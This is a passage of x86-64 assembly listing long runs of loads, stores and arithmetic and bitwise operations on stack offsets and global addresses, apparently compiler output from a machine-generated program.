movzx ecx, byte [rsp + 0x7a]
sub eax, ecx
mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0xcb0]
mov word [rsp + 0xed4], ax
mov rax, qword [0x14017a748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x66f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc48], ax
lea rax, [rsp + 0x7330]
mov qword [rsp + 0x8548], rax
mov rax, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x5b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2e88], eax
mov rax, qword [rsp + 0x81f0]
mov qword [rsp + 0x8550], rax
mov rax, qword [rsp + 0x6990]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a3c]
shl eax, cl
mov dword [rsp + 0x2fa8], eax
mov rax, qword [0x14017a500]
movzx eax, word [rax]
mov word [0x14017a7c0], ax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x208], al
movzx eax, word [rsp + 0xd5c]
movzx ecx, word [rsp + 0xa70]
xor eax, ecx
mov rcx, qword [rsp + 0x84e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8398]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x62b8]
mov byte [rcx], al
lea rax, [rsp + 0xce4]
mov qword [rsp + 0x8558], rax
mov rax, qword [rsp + 0x78b8]
mov ecx, dword [rsp + 0x2bb4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6060]
mov dword [rcx], eax
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x30a4], eax
mov rax, qword [rsp + 0x5950]
mov rcx, qword [rsp + 0x5bf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x57f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x67d0], rax
lea rax, [0x14017a142]
mov qword [0x14017a7c8], rax
lea rax, [rsp + 0x97c]
mov qword [rsp + 0x8560], rax
movsx eax, word [rsp + 0xdd0]
mov rcx, qword [rsp + 0x4e18]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b60]
movzx eax, byte [rax]
mov byte [rsp + 0x209], al
mov rax, qword [rsp + 0x5390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0x5850]
mov rcx, qword [rsp + 0x84c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7190]
mov qword [rcx], rax
lea rax, [rsp + 0x2da0]
mov qword [rsp + 0x8568], rax
mov rax, qword [rsp + 0x65c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ac8], eax
mov rax, qword [rsp + 0x7730]
mov qword [rsp + 0x8570], rax
mov rax, qword [rsp + 0x7b50]
movzx eax, word [rax]
mov rcx, qword [0x14017a638]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178ea4], ax
mov rax, qword [rsp + 0x7e40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19b]
sub eax, ecx
mov byte [rsp + 0x1a7], al
mov rax, qword [rsp + 0x73d8]
movzx eax, word [rax]
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0x6490]
movzx eax, byte [rax]
mov rcx, qword [0x14017a3e8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0x79d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6490]
mov byte [rcx], al
mov eax, dword [rsp + 0x2f4c]
mov dword [rsp + 0x30a8], eax
mov rax, qword [0x140178e78]
mov rcx, qword [rsp + 0x77c0]
mov qword [rsp + 0x8578], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8578]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x73d0], rax
lea rax, [rsp + 0x5e08]
mov qword [rsp + 0x8580], rax
mov eax, dword [rsp + 0x2cbc]
mov ecx, dword [rsp + 0x2d10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2970], eax
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [0x14017a202]
and eax, ecx
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0x7e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5608]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a3e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x57e8]
movzx eax, word [rax]
mov word [rsp + 0xedc], ax
mov rax, qword [0x14017a150]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x82b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7af8]
movzx eax, byte [rax]
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0x8148]
mov ecx, dword [rsp + 0x2c58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f28], eax
mov rax, qword [rsp + 0x59a0]
mov rcx, qword [rsp + 0x5020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b80]
mov rax, qword [rax]
mov qword [rsp + 0x8588], rax
mov rax, qword [rsp + 0x5668]
mov rcx, qword [rsp + 0x61f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7040], rax
mov rax, qword [0x14017a788]
movzx eax, byte [rax]
mov byte [rsp + 0x20b], al
movzx eax, word [rsp + 0xd2c]
movzx ecx, word [rsp + 0xba8]
add eax, ecx
mov word [0x140178fc4], ax
mov rax, qword [rsp + 0x6090]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11d]
and eax, ecx
mov rcx, qword [rsp + 0x7c40]
mov byte [rcx], al
movsx eax, word [0x14017a228]
mov rcx, qword [rsp + 0x5908]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x870], ax
movzx eax, word [rsp + 0xaac]
mov word [rsp + 0xee0], ax
mov rax, qword [rsp + 0x7a98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a04]
shr eax, cl
mov dword [rsp + 0x2f70], eax
lea rax, [rsp + 0x2f2c]
mov qword [rsp + 0x8590], rax
mov rax, qword [rsp + 0x7498]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4fd0]
shl rax, cl
mov qword [rsp + 0x7bd0], rax
mov rax, qword [rsp + 0x6868]
mov rax, qword [rax]
mov qword [rsp + 0x8598], rax
mov rax, qword [0x14017a1c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xec4]
xor eax, ecx
mov word [rsp + 0xbf0], ax
lea rax, [rsp + 0x70]
mov qword [0x14017a7d0], rax
movzx eax, word [rsp + 0x950]
movzx ecx, word [rsp + 0xd5c]
or eax, ecx
mov word [rsp + 0xa0c], ax
movzx eax, word [rsp + 0xc10]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x5d40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5928]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5c58]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ac0]
mov dword [rsp + 0x30ac], eax
mov rax, qword [rsp + 0x6168]
mov rcx, qword [rsp + 0x7ed0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5180], rax
mov rax, qword [rsp + 0x7190]
mov rcx, qword [rsp + 0x67c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5e58], rax
mov eax, dword [rsp + 0x2af0]
mov dword [rsp + 0x30b0], eax
movsx eax, byte [rsp + 0x1b3]
movsx ecx, byte [rsp + 0x16a]
add eax, ecx
mov rcx, qword [rsp + 0x65b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a590]
mov word [rcx], ax
mov rax, qword [rsp + 0x5640]
movzx eax, word [rax]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x6f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f5]
add eax, ecx
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0x63e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
sub eax, ecx
mov byte [rsp + 0xba], al
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0x85a0], rax
mov rax, qword [rsp + 0x69f8]
mov rcx, qword [rsp + 0x8120]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x70c8], rax
lea rax, [rsp + 0x2c70]
mov qword [rsp + 0x85a8], rax
mov rax, qword [rsp + 0x7628]
mov ecx, dword [rsp + 0x2e04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b28], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x84e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5f50], rax
movzx eax, word [rsp + 0xa90]
mov rcx, qword [rsp + 0x81a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140178fc8], ax
mov rax, qword [rsp + 0x6b38]
movzx eax, byte [rax]
mov byte [rsp + 0x20c], al
mov rax, qword [rsp + 0x5090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7488]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6320]
mov word [rcx], ax
mov rax, qword [rsp + 0x7938]
movzx eax, byte [rax]
mov byte [rsp + 0x20d], al
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
movzx ecx, word [0x14017a5b4]
sar eax, cl
mov rcx, qword [rsp + 0x7338]
mov word [rcx], ax
mov eax, dword [rsp + 0x2e64]
mov dword [rsp + 0x30b4], eax
mov rax, qword [rsp + 0x4f40]
mov rcx, qword [rsp + 0x7310]
mov qword [rsp + 0x85b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x85b0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6210]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6cf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7da0], rax
mov eax, dword [rsp + 0x2f08]
mov dword [rsp + 0x30b8], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e96], al
movsx eax, byte [rsp + 0x159]
mov rcx, qword [0x14017a208]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf1], al
movzx eax, word [rsp + 0x968]
mov word [rsp + 0xeec], ax
movsx eax, word [rsp + 0xdfc]
movsx ecx, word [rsp + 0xbd4]
sub eax, ecx
mov word [rsp + 0xb70], ax
movzx eax, byte [0x14017a195]
mov rcx, qword [rsp + 0x7dc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7d], al
lea rax, [rsp + 0x6be0]
mov qword [rsp + 0x85b8], rax
mov rax, qword [rsp + 0x6328]
mov ecx, dword [rsp + 0x3064]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3078], eax
mov eax, dword [rsp + 0x2f38]
mov dword [rsp + 0x30bc], eax
mov rax, qword [rsp + 0x4ee8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6160]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa38]
add eax, ecx
mov word [0x140178fcc], ax
movsx eax, byte [0x140178e9b]
movsx ecx, byte [rsp + 0x1b2]
add eax, ecx
mov byte [rsp + 0xb2], al
lea rax, [rsp + 0xe88]
mov qword [rsp + 0x85c0], rax
mov rax, qword [rsp + 0x5608]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8020]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75e8]
mov byte [rcx], al
movzx eax, word [0x140178e9c]
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x5838]
mov rcx, qword [rsp + 0x7d60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8140], rax
mov eax, dword [rsp + 0x2fb0]
mov dword [rsp + 0x30c0], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x78d8]
mov qword [rsp + 0x85c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x85c8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7da8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x305c]
mov ecx, dword [rsp + 0x2b88]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5df0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017a1a6], al
lea rax, [rsp + 0xadc]
mov qword [rsp + 0x85d0], rax
movzx eax, word [rsp + 0xa7c]
movzx ecx, word [rsp + 0x8b8]
xor eax, ecx
mov word [rsp + 0x954], ax
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
mov byte [rsp + 0x20e], al
mov rax, qword [0x14017a2d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
and eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x78b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f30], eax
lea rax, [rsp + 0x2aa4]
mov qword [rsp + 0x85d8], rax
mov rax, qword [rsp + 0x67c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x82d0], rax
lea rax, [rsp + 0x6f00]
mov qword [rsp + 0x85e0], rax
lea rax, [rsp + 0xb00]
mov qword [0x14017a7d8], rax
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [0x14017a4b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x13f], al
mov rax, qword [rsp + 0x5fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6870]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x65c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5350]
movzx eax, byte [rax]
mov byte [rsp + 0x20f], al
movzx eax, byte [rsp + 0xaa]
movzx ecx, byte [rsp + 0x1b1]
add eax, ecx
mov byte [rsp + 0xab], al
lea rax, [rsp + 0x52f8]
mov qword [rsp + 0x85e8], rax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x73b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ac0], rax
mov rax, qword [rsp + 0x7d88]
mov rcx, qword [rsp + 0x6f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2fac], eax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x85f0], rax
mov rax, qword [rsp + 0x7b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbc0]
add eax, ecx
mov word [0x140178f6c], ax
movsx eax, word [rsp + 0xe98]
movsx ecx, word [rsp + 0xe20]
xor eax, ecx
mov rcx, qword [rsp + 0x67a8]
mov word [rcx], ax
lea rax, [rsp + 0x954]
mov qword [rsp + 0x85f8], rax
movzx eax, word [rsp + 0xe50]
movzx ecx, word [rsp + 0xc58]
shl eax, cl
mov rcx, qword [rsp + 0x85f8]
mov word [rcx], ax
lea rax, [0x140178f07]
mov qword [rsp + 0x8600], rax
mov rax, qword [rsp + 0x6e50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2fb8]
shr eax, cl
mov dword [rsp + 0x2e3c], eax
mov rax, qword [rsp + 0x65d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63e0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5948]
mov rax, qword [rax]
mov qword [rsp + 0x8608], rax
mov rax, qword [rsp + 0x6d90]
mov rcx, qword [rsp + 0x7208]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6990]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e4]
mov rcx, qword [0x14017a4c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a055], al
lea rax, [rsp + 0xa38]
mov qword [rsp + 0x8610], rax
movsx eax, byte [rsp + 0xc0]
movsx ecx, byte [rsp + 0x7b]
sub eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x7a00]
movzx eax, word [rax]
mov rcx, qword [0x14017a708]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x994], ax
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x210], al
mov eax, dword [rsp + 0x2ec0]
mov ecx, dword [rsp + 0x2d90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ad8], eax
mov eax, dword [rsp + 0x304c]
mov dword [rsp + 0x30c4], eax
mov rax, qword [rsp + 0x50c8]
mov rcx, qword [rsp + 0x4e50]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7458]
mov rcx, qword [rsp + 0x7550]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x84b8]
mov qword [rcx], rax
lea rax, [0x14017a0e0]
mov qword [rsp + 0x8618], rax
movzx eax, word [rsp + 0xb68]
mov word [0x14017a7e0], ax
mov rax, qword [rsp + 0x67c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5428]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x82f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a80]
movzx eax, byte [rax]
mov byte [rsp + 0x211], al
mov rax, qword [rsp + 0x5800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6788]
mov word [rcx], ax
lea rax, [rsp + 0x51b0]
mov qword [rsp + 0x8620], rax
mov rax, qword [rsp + 0x7ca8]
mov rcx, qword [rsp + 0x6640]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f24], eax
mov eax, dword [rsp + 0x3064]
mov ecx, dword [rsp + 0x2ab0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3074], eax
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0x8628], rax
movzx eax, byte [rsp + 0x1d0]
mov rcx, qword [rsp + 0x5ea0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x200], al
mov rax, qword [0x14017a0b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa8]
xor eax, ecx
mov byte [0x140178f1a], al
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x212], al
mov rax, qword [rsp + 0x6d88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7280]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0x5a18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7608]
mov byte [rcx], al
lea rax, [rsp + 0x2d68]
mov qword [rsp + 0x8630], rax
mov rax, qword [rsp + 0x8070]
mov rcx, qword [rsp + 0x6df8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8620]
mov qword [rcx], rax
lea rax, [rsp + 0x56b0]
mov qword [rsp + 0x8638], rax
mov rax, qword [rsp + 0x5cd8]
mov ecx, dword [rsp + 0x2e34]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x57a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc7c]
sub eax, ecx
mov word [rsp + 0x89c], ax
mov rax, qword [rsp + 0x84f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov byte [0x140178eea], al
lea rax, [rsp + 0x178]
mov qword [rsp + 0x8640], rax
movzx eax, word [rsp + 0xa0c]
mov rcx, qword [rsp + 0x7b00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8c0], ax
movzx eax, word [rsp + 0x864]
mov word [rsp + 0xef4], ax
mov eax, dword [rsp + 0x3064]
mov ecx, dword [rsp + 0x2b0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e3c], eax
mov rax, qword [rsp + 0x6fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c54], eax
mov rax, qword [rsp + 0x74f8]
mov qword [rsp + 0x8648], rax
mov rax, qword [rsp + 0x7f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5dd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5548], rax
lea rax, [0x140178e74]
mov qword [rsp + 0x8650], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178fd0], ax
mov rax, qword [rsp + 0x7070]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0c]
or eax, ecx
mov rcx, qword [rsp + 0x67a8]
mov word [rcx], ax
movzx eax, word [0x14017a350]
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x6090]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a20]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8358]
mov byte [rcx], al
movzx eax, word [rsp + 0xddc]
movzx ecx, word [rsp + 0xd3c]
xor eax, ecx
mov word [rsp + 0x8bc], ax
mov eax, dword [0x14017a064]
mov dword [rsp + 0x30c8], eax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5f98]
sar rax, cl
mov qword [rsp + 0x53b0], rax
lea rax, [rsp + 0x7d20]
mov qword [rsp + 0x8658], rax
mov rax, qword [rsp + 0x7158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cd4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a10]
mov dword [rcx], eax
movsx eax, word [rsp + 0xdf4]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178efc], ax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [0x140178e72]
add eax, ecx
mov byte [rsp + 0x198], al
lea rax, [rsp + 0xdc]
mov qword [rsp + 0x8660], rax
mov rax, qword [rsp + 0x64b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xcf0], ax
mov rax, qword [rsp + 0x5c08]
movzx eax, byte [rax]
mov byte [rsp + 0x213], al
mov rax, qword [rsp + 0x5580]
mov ecx, dword [rsp + 0x2ef4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3074], eax
mov rax, qword [rsp + 0x5fe8]
mov rcx, qword [rsp + 0x7708]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7de8]
mov qword [rcx], rax
lea rax, [rsp + 0x7580]
mov qword [rsp + 0x8668], rax
mov eax, dword [rsp + 0x2ad0]
mov ecx, dword [0x140178e6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6188]
movzx eax, word [rax]
mov word [0x14017a7e4], ax
lea rax, [rsp + 0xac8]
mov qword [rsp + 0x8670], rax
mov rax, qword [rsp + 0x79e8]
movzx eax, byte [rax]
mov rcx, qword [0x14017a520]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x12d], al
movsx eax, word [rsp + 0x934]
movsx ecx, word [rsp + 0xb3c]
sub eax, ecx
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x55d0]
mov rcx, qword [0x14017a058]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5268], rax
lea rax, [rsp + 0x2fb4]
mov qword [rsp + 0x8678], rax
mov rax, qword [rsp + 0x8390]
mov rcx, qword [rsp + 0x7310]
mov qword [rsp + 0x8680], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8680]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7198]
mov qword [rcx], rax
lea rax, [rsp + 0x2d80]
mov qword [rsp + 0x8688], rax
mov rax, qword [rsp + 0x75e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x84f0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14017a3c0]
mov byte [rcx], al
movzx eax, word [rsp + 0xbec]
movzx ecx, word [rsp + 0xb20]
xor eax, ecx
mov rcx, qword [rsp + 0x70e0]
mov word [rcx], ax
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xe08]
add eax, ecx
mov word [rsp + 0xdfc], ax
mov rax, qword [rsp + 0x5898]
movzx eax, byte [rax]
mov byte [rsp + 0x215], al
movsx eax, byte [rsp + 0xff]
movsx ecx, byte [rsp + 0x197]
and eax, ecx
mov rcx, qword [rsp + 0x7288]
mov byte [rcx], al
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x30cc], eax
mov rax, qword [rsp + 0x5850]
mov rcx, qword [rsp + 0x6cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8028], rax
mov rax, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x53b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cb4], eax
mov rax, qword [rsp + 0x6b68]
mov qword [rsp + 0x8690], rax
lea rax, [rsp + 0x868]
mov qword [0x14017a7e8], rax
movzx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5a00]
mov byte [rcx], al
lea rax, [0x14017a057]
mov qword [rsp + 0x8698], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
sub eax, ecx
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1e1]
movsx ecx, byte [rsp + 0x122]
add eax, ecx
mov rcx, qword [rsp + 0x6b28]
mov byte [rcx], al
lea rax, [0x14017a060]
mov qword [rsp + 0x86a0], rax
mov rax, qword [rsp + 0x65c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ed4], eax
mov rax, qword [rsp + 0x6df8]
mov qword [rsp + 0x86a8], rax
mov rax, qword [rsp + 0x4f10]
mov rcx, qword [rsp + 0x7190]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x56b0], rax
mov rax, qword [rsp + 0x75d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd34]
and eax, ecx
mov rcx, qword [0x14017a1f8]
mov word [rcx], ax
lea rax, [rsp + 0xef8]
mov qword [rsp + 0x86b0], rax
mov rax, qword [0x14017a2b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdec]
sar eax, cl
mov word [rsp + 0xa8c], ax
mov rax, qword [rsp + 0x61a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc74]
or eax, ecx
mov rcx, qword [rsp + 0x5980]
mov word [rcx], ax
lea rax, [rsp + 0x203]
mov qword [rsp + 0x86b8], rax
mov rax, qword [rsp + 0x5308]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14017a060]
shl eax, cl
mov dword [rsp + 0x2f2c], eax
lea rax, [rsp + 0x2d40]
mov qword [rsp + 0x86c0], rax
mov rax, qword [rsp + 0x8248]
mov rcx, qword [rsp + 0x7440]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a10], rax
mov rax, qword [rsp + 0x54e8]
mov rcx, qword [rsp + 0x5b08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x84f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a4d0]
mov byte [rcx], al
lea rax, [rsp + 0x9ec]
mov qword [rsp + 0x86c8], rax
mov rax, qword [0x14017a098]
